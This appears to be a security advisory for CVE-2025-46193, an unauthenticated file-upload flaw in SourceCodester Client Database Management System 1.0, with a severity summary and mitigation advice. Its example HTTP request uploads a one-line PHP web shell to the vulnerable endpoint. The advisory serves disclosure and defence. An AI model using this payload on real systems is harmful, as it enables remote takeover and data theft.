Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a serious vulnerability, designated as CVE-2025-46193, affecting the SourceCodester Client Database Management System 1.0. This vulnerability exposes the system to a potential remote code execution attack via arbitrary file upload in user_proposal_update_order.php, potentially leading to system compromise or data leakage.
This vulnerability is especially concerning for businesses and organizations using SourceCodester Client Database Management System 1.0 in managing their client databases. A successful exploitation could result in unauthorized access to sensitive data, disruption of services, or even total system hijack, thereby posing significant security risks and potential business impact.
Vulnerability Summary
CVE ID: CVE-2025-46193
Severity: Critical, with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Product | Affected Versions
SourceCodester Client Database Management System | 1.0
How the Exploit Works
The exploit operates by taking advantage of an unsecured endpoint in the user_proposal_update_order.php file. This allows an attacker to upload arbitrary files that can contain malicious code. When these files are executed within the server environment, it gives the attacker the ability to execute arbitrary code remotely. This could lead to unauthorized access, alteration, or even destruction of data.
Conceptual Example Code
Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look:
POST /user_proposal_update_order.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadFile"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This example depicts the attacker uploading a PHP file containing malicious code, which can be used to execute arbitrary system commands on the server.
Mitigation Guidance
Affected users are advised to apply the latest patch provided by the vendor as soon as possible. If a patch is not yet available, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to mitigate the risk temporarily. These systems can be configured to block or alert on attempts to access the vulnerable endpoint or upload potentially malicious files.
In addition, implementing a least privilege policy, regular system updates, and security awareness training can help to reduce the overall attack surface.
